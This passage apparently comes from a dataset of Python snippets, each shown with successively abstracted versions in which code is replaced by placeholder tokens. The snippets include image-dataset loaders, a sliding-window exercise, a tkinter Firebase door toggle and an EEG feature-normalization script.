imlist_rgb, *args, **\n kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n nir = nir[None, :, :] / 127.5 - 1.0\n rgb = rgb.transpose(2, 0, 1) / 127.5 - 1.0\n nir, rgb = self.transform(nir, rgb)\n return nir, rgb\n", "<import token>\n<function token>\n<function token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass NIRRGB2RGBCLOUD(BaseTrain):\n <function token>\n\n def __len__(self):\n return len(self.rgb)\n <function token>\n\n\nclass RGB2RGBCLOUD(BaseTrain):\n\n def __init__(self, dir_rgb, dir_cloud, imlist_rgb, *args, **kwargs):\n super().__init__()\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.cloud = list(glob.glob(os.path.join(dir_cloud, '*.png')))\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n cloud = cv2.imread(random.choice(self.cloud), -1).astype(np.float32)\n alpha = cloud[:, :, 3] / 255.0\n alpha = np.broadcast_to(alpha[:, :, None], alpha.shape + (3,))\n clouded_rgb = (1.0 - alpha) * rgb + alpha * cloud[:, :, :3]\n clouded_rgb = np.clip(clouded_rgb, 0.0, 255.0)\n cloud = cloud[:, :, 3]\n rgbcloud = np.concatenate((rgb, cloud[:, :, None]), axis=2)\n rgb = clouded_rgb.transpose(2, 0, 1) / 127.5 - 1.0\n rgbcloud = rgbcloud.transpose(2, 0, 1) / 127.5 - 1.0\n rgb, rgbcloud = self.transform(rgb, rgbcloud)\n return rgb, rgbcloud\n\n\nclass NIR2RGB(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, imlist_nir, imlist_rgb, *args, **\n kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n nir = nir[None, :, :] / 127.5 - 1.0\n rgb = rgb.transpose(2, 0, 1) / 127.5 - 1.0\n nir, rgb = self.transform(nir, rgb)\n return nir, rgb\n", "<import token>\n<function token>\n<function token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass NIRRGB2RGBCLOUD(BaseTrain):\n <function token>\n <function token>\n <function token>\n\n\nclass RGB2RGBCLOUD(BaseTrain):\n\n def __init__(self, dir_rgb, dir_cloud, imlist_rgb, *args, **kwargs):\n super().__init__()\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.cloud = list(glob.glob(os.path.join(dir_cloud, '*.png')))\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n cloud = cv2.imread(random.choice(self.cloud), -1).astype(np.float32)\n alpha = cloud[:, :, 3] / 255.0\n alpha = np.broadcast_to(alpha[:, :, None], alpha.shape + (3,))\n clouded_rgb = (1.0 - alpha) * rgb + alpha * cloud[:, :, :3]\n clouded_rgb = np.clip(clouded_rgb, 0.0, 255.0)\n cloud = cloud[:, :, 3]\n rgbcloud = np.concatenate((rgb, cloud[:, :, None]), axis=2)\n rgb = clouded_rgb.transpose(2, 0, 1) / 127.5 - 1.0\n rgbcloud = rgbcloud.transpose(2, 0, 1) / 127.5 - 1.0\n rgb, rgbcloud = self.transform(rgb, rgbcloud)\n return rgb, rgbcloud\n\n\nclass NIR2RGB(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, imlist_nir, imlist_rgb, *args, **\n kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n nir = nir[None, :, :] / 127.5 - 1.0\n rgb = rgb.transpose(2, 0, 1) / 127.5 - 1.0\n nir, rgb = self.transform(nir, rgb)\n return nir, rgb\n", "<import token>\n<function token>\n<function token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass RGB2RGBCLOUD(BaseTrain):\n\n def __init__(self, dir_rgb, dir_cloud, imlist_rgb, *args, **kwargs):\n super().__init__()\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.cloud = list(glob.glob(os.path.join(dir_cloud, '*.png')))\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n cloud = cv2.imread(random.choice(self.cloud), -1).astype(np.float32)\n alpha = cloud[:, :, 3] / 255.0\n alpha = np.broadcast_to(alpha[:, :, None], alpha.shape + (3,))\n clouded_rgb = (1.0 - alpha) * rgb + alpha * cloud[:, :, :3]\n clouded_rgb = np.clip(clouded_rgb, 0.0, 255.0)\n cloud = cloud[:, :, 3]\n rgbcloud = np.concatenate((rgb, cloud[:, :, None]), axis=2)\n rgb = clouded_rgb.transpose(2, 0, 1) / 127.5 - 1.0\n rgbcloud = rgbcloud.transpose(2, 0, 1) / 127.5 - 1.0\n rgb, rgbcloud = self.transform(rgb, rgbcloud)\n return rgb, rgbcloud\n\n\nclass NIR2RGB(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, imlist_nir, imlist_rgb, *args, **\n kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n nir = nir[None, :, :] / 127.5 - 1.0\n rgb = rgb.transpose(2, 0, 1) / 127.5 - 1.0\n nir, rgb = self.transform(nir, rgb)\n return nir, rgb\n", "<import token>\n<function token>\n<function token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass RGB2RGBCLOUD(BaseTrain):\n <function token>\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n cloud = cv2.imread(random.choice(self.cloud), -1).astype(np.float32)\n alpha = cloud[:, :, 3] / 255.0\n alpha = np.broadcast_to(alpha[:, :, None], alpha.shape + (3,))\n clouded_rgb = (1.0 - alpha) * rgb + alpha * cloud[:, :, :3]\n clouded_rgb = np.clip(clouded_rgb, 0.0, 255.0)\n cloud = cloud[:, :, 3]\n rgbcloud = np.concatenate((rgb, cloud[:, :, None]), axis=2)\n rgb = clouded_rgb.transpose(2, 0, 1) / 127.5 - 1.0\n rgbcloud = rgbcloud.transpose(2, 0, 1) / 127.5 - 1.0\n rgb, rgbcloud = self.transform(rgb, rgbcloud)\n return rgb, rgbcloud\n\n\nclass NIR2RGB(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, imlist_nir, imlist_rgb, *args, **\n kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n nir = nir[None, :, :] / 127.5 - 1.0\n rgb = rgb.transpose(2, 0, 1) / 127.5 - 1.0\n nir, rgb = self.transform(nir, rgb)\n return nir, rgb\n", "<import token>\n<function token>\n<function token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass RGB2RGBCLOUD(BaseTrain):\n <function token>\n <function token>\n\n def get_example(self, i):\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n cloud = cv2.imread(random.choice(self.cloud), -1).astype(np.float32)\n alpha = cloud[:, :, 3] / 255.0\n alpha = np.broadcast_to(alpha[:, :, None], alpha.shape + (3,))\n clouded_rgb = (1.0 - alpha) * rgb + alpha * cloud[:, :, :3]\n clouded_rgb = np.clip(clouded_rgb, 0.0, 255.0)\n cloud = cloud[:, :, 3]\n rgbcloud = np.concatenate((rgb, cloud[:, :, None]), axis=2)\n rgb = clouded_rgb.transpose(2, 0, 1) / 127.5 - 1.0\n rgbcloud = rgbcloud.transpose(2, 0, 1) / 127.5 - 1.0\n rgb, rgbcloud = self.transform(rgb, rgbcloud)\n return rgb, rgbcloud\n\n\nclass NIR2RGB(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, imlist_nir, imlist_rgb, *args, **\n kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n nir = nir[None, :, :] / 127.5 - 1.0\n rgb = rgb.transpose(2, 0, 1) / 127.5 - 1.0\n nir, rgb = self.transform(nir, rgb)\n return nir, rgb\n", "<import token>\n<function token>\n<function token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass RGB2RGBCLOUD(BaseTrain):\n <function token>\n <function token>\n <function token>\n\n\nclass NIR2RGB(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, imlist_nir, imlist_rgb, *args, **\n kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n nir = nir[None, :, :] / 127.5 - 1.0\n rgb = rgb.transpose(2, 0, 1) / 127.5 - 1.0\n nir, rgb = self.transform(nir, rgb)\n return nir, rgb\n", "<import token>\n<function token>\n<function token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass NIR2RGB(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, imlist_nir, imlist_rgb, *args, **\n kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n nir = nir[None, :, :] / 127.5 - 1.0\n rgb = rgb.transpose(2, 0, 1) / 127.5 - 1.0\n nir, rgb = self.transform(nir, rgb)\n return nir, rgb\n", "<import token>\n<function token>\n<function token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass NIR2RGB(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, imlist_nir, imlist_rgb, *args, **\n kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n <function token>\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n nir = nir[None, :, :] / 127.5 - 1.0\n rgb = rgb.transpose(2, 0, 1) / 127.5 - 1.0\n nir, rgb = self.transform(nir, rgb)\n return nir, rgb\n", "<import token>\n<function token>\n<function token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass NIR2RGB(BaseTrain):\n <function token>\n <function token>\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n nir = nir[None, :, :] / 127.5 - 1.0\n rgb = rgb.transpose(2, 0, 1) / 127.5 - 1.0\n nir, rgb = self.transform(nir, rgb)\n return nir, rgb\n", "<import token>\n<function token>\n<function token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass NIR2RGB(BaseTrain):\n <function token>\n <function token>\n <function token>\n", "<import token>\n<function token>\n<function token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n" ]

[ "T = int(input())\n\nfor tc in range(T):\n n, m = map(int, input().split())\n\n num = list(map(int, input().split()))\n \n num_sum = 0\n ans = []\n for i in range(n-m+1):\n sum = 0\n for j in range(m):\n sum += num[j+i]\n ans.append(sum)\n print(f\"#{tc+1} {max(ans) - min(ans)}\")", "T = int(input())\nfor tc in range(T):\n n, m = map(int, input().split())\n num = list(map(int, input().split()))\n num_sum = 0\n ans = []\n for i in range(n - m + 1):\n sum = 0\n for j in range(m):\n sum += num[j + i]\n ans.append(sum)\n print(f'#{tc + 1} {max(ans) - min(ans)}')\n", "<assignment token>\nfor tc in range(T):\n n, m = map(int, input().split())\n num = list(map(int, input().split()))\n num_sum = 0\n ans = []\n for i in range(n - m + 1):\n sum = 0\n for j in range(m):\n sum += num[j + i]\n ans.append(sum)\n print(f'#{tc + 1} {max(ans) - min(ans)}')\n", "<assignment token>\n<code token>\n" ]

[ "##input = open('C-sample-input.txt', 'r')\n##output = open('C-sample-output.txt', 'w')\n#input = open('/Users/pruthvikarreddy/Downloads/test.in', 'r')\nimport math\ninput = open('A-small-attempt0 (2).in', 'r')\noutput = open('A-small.out', 'w')\n\n##input = open('C-large.in', 'r')\n##output = open('C-large.out', 'w')\n\ndef read_int():\n return int(input.readline().strip())\n\ndef read_ints():\n return [int(x) for x in input.readline().split()]\n \ndef read_frac():\n return [int(x) for x in input.readline().split('/')]\n\ndef read_float():\n return float(input.readline().strip())\n\ndef read_floats():\n return [float(x) for x in input.readline().split()]\n \ndef read_floats():\n return [float(x) for x in input.readline().split()]\n \ndef read_strs():\n return [x for x in input.readline().split()]\n\ndef read_str():\n return input.readline().strip()\n \ndef read_floats():\n return input.readline().split()\n\ndef solve(N, perm):\n return 'ans'\n\ndef main():\n num_cases = read_int()\n for case in range(1, num_cases+1):\n t,b=read_frac()\n lt,lb=math.log(t,2),math.log(b,2)\n logs=lb-lt\n if logs==int(logs) or lb==int(lb):\n solution=int(math.ceil(logs))\n else:\n solution='impossible'\n solution_string = \"Case #%d: %s\" %(case, solution)\n output.write(solution_string + \"\\n\")\n print solution_string\n \nif __name__=='__main__':\n main()\n input.close()\n output.close()\n \n" ]

[ "# coding: utf-8\nclass boolOperator:\n def __init__(self, expression):\n self.expression = expression\n\n def compute(self):\n pass", "class boolOperator:\n\n def __init__(self, expression):\n self.expression = expression\n\n def compute(self):\n pass\n", "class boolOperator:\n\n def __init__(self, expression):\n self.expression = expression\n <function token>\n", "class boolOperator:\n <function token>\n <function token>\n", "<class token>\n" ]

[ "import tkinter\r\nfrom firebase import firebase\r\nfirebase = firebase.FirebaseApplication('https://atom940414.firebaseio.com', None)\r\n\r\n# 按下open時可將 firebase 上 myhouse 的門打開\r\ndef openthedoor():\r\n result = firebase.patch('/myhouse', {'open': 1})\r\n\r\n# 按下close時可將 firebase 上 myhouse 的門關閉\r\ndef closethedoor():\r\n result = firebase.patch('/myhouse', {'open': 0})\r\n\r\nwin = tkinter.Tk()\r\nwin.title('Door Open')\r\nwin.geometry('300x100')\r\n\r\nOpenButton = tkinter.Button(win, text='Open', command=openthedoor) # UPdate 為上傳最新時間\r\nOpenButton.config(font=('Arial', 20))\r\nOpenButton.pack(side=tkinter.LEFT)\r\n\r\nCloseButton = tkinter.Button(win, text='Close', command=closethedoor) # UPdate 為上傳最新時間\r\nCloseButton.config(font=('Arial', 20))\r\nCloseButton.pack(side=tkinter.RIGHT)\r\n\r\nwin.mainloop()\r\n\r\n", "import tkinter\nfrom firebase import firebase\nfirebase = firebase.FirebaseApplication('https://atom940414.firebaseio.com',\n None)\n\n\ndef openthedoor():\n result = firebase.patch('/myhouse', {'open': 1})\n\n\ndef closethedoor():\n result = firebase.patch('/myhouse', {'open': 0})\n\n\nwin = tkinter.Tk()\nwin.title('Door Open')\nwin.geometry('300x100')\nOpenButton = tkinter.Button(win, text='Open', command=openthedoor)\nOpenButton.config(font=('Arial', 20))\nOpenButton.pack(side=tkinter.LEFT)\nCloseButton = tkinter.Button(win, text='Close', command=closethedoor)\nCloseButton.config(font=('Arial', 20))\nCloseButton.pack(side=tkinter.RIGHT)\nwin.mainloop()\n", "<import token>\nfirebase = firebase.FirebaseApplication('https://atom940414.firebaseio.com',\n None)\n\n\ndef openthedoor():\n result = firebase.patch('/myhouse', {'open': 1})\n\n\ndef closethedoor():\n result = firebase.patch('/myhouse', {'open': 0})\n\n\nwin = tkinter.Tk()\nwin.title('Door Open')\nwin.geometry('300x100')\nOpenButton = tkinter.Button(win, text='Open', command=openthedoor)\nOpenButton.config(font=('Arial', 20))\nOpenButton.pack(side=tkinter.LEFT)\nCloseButton = tkinter.Button(win, text='Close', command=closethedoor)\nCloseButton.config(font=('Arial', 20))\nCloseButton.pack(side=tkinter.RIGHT)\nwin.mainloop()\n", "<import token>\n<assignment token>\n\n\ndef openthedoor():\n result = firebase.patch('/myhouse', {'open': 1})\n\n\ndef closethedoor():\n result = firebase.patch('/myhouse', {'open': 0})\n\n\n<assignment token>\nwin.title('Door Open')\nwin.geometry('300x100')\n<assignment token>\nOpenButton.config(font=('Arial', 20))\nOpenButton.pack(side=tkinter.LEFT)\n<assignment token>\nCloseButton.config(font=('Arial', 20))\nCloseButton.pack(side=tkinter.RIGHT)\nwin.mainloop()\n", "<import token>\n<assignment token>\n\n\ndef openthedoor():\n result = firebase.patch('/myhouse', {'open': 1})\n\n\ndef closethedoor():\n result = firebase.patch('/myhouse', {'open': 0})\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n\n\ndef closethedoor():\n result = firebase.patch('/myhouse', {'open': 0})\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n" ]

[ "import numpy as np\nfrom tqdm import tqdm\nimport os\n\n\ndef normalization():\n print('Normalization...')\n modes = ['train', 'test']\n\n for mode in modes:\n features = []\n if mode == 'train':\n eeg1 = np.load('./data/train_eeg1_fft_features_new.npy')\n eeg2 = np.load('./data/train_eeg2_fft_features_new.npy')\n emg = np.load('./data/train_emg_fft_features_new.npy')\n else:\n eeg1 = np.load('./data/test_eeg1_fft_features_new.npy')\n eeg2 = np.load('./data/test_eeg2_fft_features_new.npy')\n emg = np.load('./data/test_emg_fft_features_new.npy')\n eeg1 = np.log(eeg1)\n eeg2 = np.log(eeg2)\n emg = np.log(emg)\n for eeg1_sig, eeg2_sig, emg_sig in tqdm(zip(eeg1, eeg2, emg)):\n eeg1_sig = (eeg1_sig - np.mean(eeg1_sig, axis=0, keepdims=True)) / np.std(eeg1_sig, axis=0, keepdims=True)\n eeg2_sig = (eeg2_sig - np.mean(eeg2_sig, axis=0, keepdims=True)) / np.std(eeg2_sig, axis=0, keepdims=True)\n emg_sig = np.sum(emg_sig, axis=0, keepdims=True)\n emg_sig = emg_sig.repeat(eeg1_sig.shape[0], axis=0)\n eeg1_sig = eeg1_sig.reshape((eeg1_sig.shape[0], eeg1_sig.shape[1], 1))\n eeg2_sig = eeg2_sig.reshape((eeg1_sig.shape[0], eeg1_sig.shape[1], 1))\n emg_sig = emg_sig.reshape((eeg1_sig.shape[0], eeg1_sig.shape[1], 1))\n features.append(np.concatenate((eeg1_sig, eeg2_sig, emg_sig), axis=2))\n features = np.array(features)\n np.save('./data/{}_x.npy'.format(mode), np.array(features))\n\n\ndef generate_feature_with_adjacent_epochs():\n print('concat adjacent epochs feature')\n modes = ['train', 'test']\n for mode in modes:\n base_dir = './data/features_{}'.format(mode)\n if not os.path.exists(base_dir):\n os.mkdir(base_dir)\n features = np.load('./data/{}_x.npy'.format(mode))\n idx = 0\n if mode == 'train':\n sub_num = 3\n else:\n sub_num = 2\n for i in range(sub_num):\n sub_feature = features[i * 21600:(i + 1) * 21600]\n sub_feature[:, :, :, 2] = (sub_feature[:, :, :, 2] - np.mean(sub_feature[:, :, :, 2])) / np.std(\n sub_feature[:, :, :, 2])\n for j in tqdm(range(len(sub_feature))):\n lf = np.concatenate((sub_feature[j - 2], sub_feature[j - 1], sub_feature[j],\n sub_feature[(j + 1) % len(sub_feature)], sub_feature[(j + 2) % len(sub_feature)]),\n axis=1)\n np.save(os.path.join(base_dir, '{}.npy'.format(idx)), np.array(lf))\n idx+=1\n\n\ndef main():\n print()\n print('***************By Killer Queen***************')\n\n normalization()\n generate_feature_with_adjacent_epochs()\n\n\nmain()\n", "import numpy as np\nfrom tqdm import tqdm\nimport os\n\n\ndef normalization():\n print('Normalization...')\n modes = ['train', 'test']\n for mode in modes:\n features = []\n if mode == 'train':\n eeg1 = np.load('./data/train_eeg1_fft_features_new.npy')\n eeg2 = np.load('./data/train_eeg2_fft_features_new.npy')\n emg = np.load('./data/train_emg_fft_features_new.npy')\n else:\n eeg1 = np.load('./data/test_eeg1_fft_features_new.npy')\n eeg2 = np.load('./data/test_eeg2_fft_features_new.npy')\n emg = np.load('./data/test_emg_fft_features_new.npy')\n eeg1 = np.log(eeg1)\n eeg2 = np.log(eeg2)\n emg = np.log(emg)\n for eeg1_sig, eeg2_sig, emg_sig in tqdm(zip(eeg1, eeg2, emg)):\n eeg1_sig = (eeg1_sig - np.mean(eeg1_sig, axis=0, keepdims=True)\n ) / np.std(eeg1_sig, axis=0, keepdims=True)\n eeg2_sig = (eeg2_sig - np.mean(eeg2_sig, axis=0, keepdims=True)\n ) / np.std(eeg2_sig, axis=0, keepdims=True)\n emg_sig = np.sum(emg_sig, axis=0, keepdims=True)\n emg_sig = emg_sig.repeat(eeg1_sig.shape[0], axis=0)\n eeg1_sig = eeg1_sig.reshape((eeg1_sig.shape[0], eeg1_sig.shape[\n 1], 1))\n eeg2_sig = eeg2_sig.reshape((eeg1_sig.shape[0], eeg1_sig.shape[\n 1], 1))\n emg_sig = emg_sig.reshape((eeg1_sig.shape[0], eeg1_sig.shape[1], 1)\n )\n features.append(np.concatenate((eeg1_sig, eeg2_sig, emg_sig),\n axis=2))\n features = np.array(features)\n np.save('./data/{}_x.npy'.format(mode), np.array(features))\n\n\ndef generate_feature_with_adjacent_epochs():\n print('concat adjacent epochs feature')\n modes = ['train', 'test']\n for mode in modes:\n base_dir = './data/features_{}'.format(mode)\n if not os.path.exists(base_dir):\n os.mkdir(base_dir)\n features = np.load('./data/{}_x.npy'.format(mode))\n idx = 0\n if mode == 'train':\n sub_num = 3\n else:\n sub_num = 2\n for i in range(sub_num):\n sub_feature = features[i * 21600:(i + 1) * 21600]\n sub_feature[:, :, :, 2] = (sub_feature[:, :, :, 2] - np.mean(\n sub_feature[:, :, :, 2])) / np.std(sub_feature[:, :, :, 2])\n for j in tqdm(range(len(sub_feature))):\n lf = np.concatenate((sub_feature[j - 2], sub_feature[j - 1],\n sub_feature[j], sub_feature[(j + 1) % len(sub_feature)],\n sub_feature[(j + 2) % len(sub_feature)]), axis=1)\n np.save(os.path.join(base_dir, '{}.npy'.format(idx)), np.\n array(lf))\n idx += 1\n\n\ndef main():\n print()\n print('***************By Killer Queen***************')\n normalization()\n generate_feature_with_adjacent_epochs()\n\n\nmain()\n", "<import token>\n\n\ndef normalization():\n print('Normalization...')\n modes = ['train', 'test']\n for mode in modes:\n features = []\n if mode == 'train':\n eeg1 = np.load('./data/train_eeg1_fft_features_new.npy')\n eeg2 = np.load('./data/train_eeg2_fft_features_new.npy')\n emg = np.load('./data/train_emg_fft_features_new.npy')\n else:\n eeg1 = np.load('./data/test_eeg1_fft_features_new.npy')\n eeg2 = np.load('./data/test_eeg2_fft_features_new.npy')\n emg = np.load('./data/test_emg_fft_features_new.npy')\n eeg1 = np.log(eeg1)\n eeg2 = np.log(eeg2)\n emg = np.log(emg)\n for eeg1_sig, eeg2_sig, emg_sig in tqdm(zip(eeg1, eeg2, emg)):\n eeg1_sig = (eeg1_sig - np.mean(eeg1_sig, axis=0, keepdims=True)\n ) / np.std(eeg1_sig, axis=0, keepdims=True)\n eeg2_sig = (eeg2_sig - np.mean(eeg2_sig, axis=0, keepdims=True)\n ) / np.std(eeg2_sig, axis=0, keepdims=True)\n emg_sig = np.sum(emg_sig, axis=0, keepdims=True)\n emg_sig = emg_sig.repeat(eeg1_sig.shape[0], axis=0)\n eeg1_sig = eeg1_sig.reshape((eeg1_sig.shape[0], eeg1_sig.shape[\n 1], 1))\n eeg2_sig = eeg2_sig.reshape((eeg1_sig.shape[0], eeg1_sig.shape[\n 1], 1))\n emg_sig = emg_sig.reshape((eeg1_sig.shape[0], eeg1_sig.shape[1], 1)\n )\n features.append(np.concatenate((eeg1_sig, eeg2_sig, emg_sig),\n axis=2))\n features = np.array(features)\n np.save('./data/{}_x.npy'.format(mode), np.array(features))\n\n\ndef generate_feature_with_adjacent_epochs():\n print('concat adjacent epochs feature')\n modes = ['train', 'test']\n for mode in modes:\n base_dir = './data/features_{}'.format(mode)\n if not os.path.exists(base_dir):\n os.mkdir(base_dir)\n features = np.load('./data/{}_x.npy'.format(mode))\n idx = 0\n if mode == 'train':\n sub_num = 3\n else:\n sub_num = 2\n for i in range(sub_num):\n sub_feature = features[i * 21600:(i + 1) * 21600]\n sub_feature[:, :, :, 2] = (sub_feature[:, :, :, 2] - np.mean(\n sub_feature[:, :, :, 2])) / np.std(sub_feature[:, :, :, 2])\n for j in tqdm(range(len(sub_feature))):\n lf = np.concatenate((sub_feature[j - 2], sub_feature[j - 1],\n sub_feature[j], sub_feature[(j + 1) % len(sub_feature)],\n sub_feature[(j + 2) % len(sub_feature)]), axis=1)\n np.save(os.path.join(base_dir, '{}.npy'.format(idx)), np.\n array(lf))\n idx += 1\n\n\ndef main():\n print()\n print('***************By Killer Queen***************')\n normalization()\n generate_feature_with_adjacent_epochs()\n\n\nmain()\n", "<import token>\n\n\ndef normalization():\n print('Normalization...')\n modes = ['train', 'test']\n for mode in modes:\n features = []\n if mode == 'train':\n eeg1 = np.load('./data/train_eeg1_fft_features_new.npy')\n eeg2 = np.load('./data/train_eeg2_fft_features_new.npy')\n emg = np.load('./data/train_emg_fft_features_new.npy')\n else:\n eeg1 = np.load('./data/test_eeg1_fft_features_new.npy')\n eeg2 = np.load('./data/test_eeg2_fft_features_new.npy')\n emg = np.load('./data/test_emg_fft_features_new.npy')\n eeg1 = np.log(eeg1)\n eeg2 = np.log(eeg2)\n emg = np.log(emg)\n for eeg1_sig, eeg2_sig, emg_sig in tqdm(zip(eeg1, eeg2, emg)):\n eeg1_sig = (eeg1_sig - np.mean(eeg1_sig, axis=0, keepdims=True)\n ) / np.std(eeg1_sig, axis=0, keepdims=True)\n eeg2_sig = (eeg2_sig - np.mean(eeg2_sig, axis=0, keepdims=True)\n ) / np.std(eeg2_sig, axis=0, keepdims=True)\n emg_sig = np.sum(emg_sig, axis=0, keepdims=True)\n emg_sig = emg_sig.repeat(eeg1_sig.shape[0], axis=0)\n eeg1_sig = eeg1_sig.reshape((eeg1_sig.shape[0], eeg1_sig.shape[\n 1], 1))\n eeg2_sig = eeg2_sig.reshape((eeg1_sig.shape[0], eeg1_sig.shape[\n 1], 1))\n emg_sig = emg_sig.reshape((eeg1_sig.shape[0], eeg1_sig.shape[1], 1)\n )\n features.append(np.concatenate((eeg1_sig, eeg2_sig, emg_sig),\n axis=2))\n features = np.array(features)\n np.save('./data/{}_x.npy'.format(mode), np.array(features))\n\n\ndef generate_feature_with_adjacent_epochs():\n print('concat adjacent epochs feature')\n modes = ['train', 'test']\n for mode in modes:\n base_dir = './data/features_{}'.format(mode)\n if not os.path.exists(base_dir):\n os.mkdir(base_dir)\n features = np.load('./data/{}_x.npy'.format(mode))\n idx = 0\n if mode == 'train':\n sub_num = 3\n else:\n sub_num = 2\n for i in range(sub_num):\n sub_feature = features[i * 21600:(i + 1) * 21600]\n sub_feature[:, :, :, 2] = (sub_feature[:, :, :, 2] - np.mean(\n sub_feature[:, :, :, 2])) / np.std(sub_feature[:, :, :, 2])\n for j in tqdm(range(len(sub_feature))):\n lf = np.concatenate((sub_feature[j - 2], sub_feature[j - 1],\n sub_feature[j], sub_feature[(j + 1) % len(sub_feature)],\n sub_feature[(j + 2) % len(sub_feature)]), axis=1)\n np.save(os.path.join(base_dir, '{}.npy'.format(idx)), np.\n array(lf))\n idx += 1\n\n\ndef main():\n print()\n print('***************By Killer Queen***************')\n 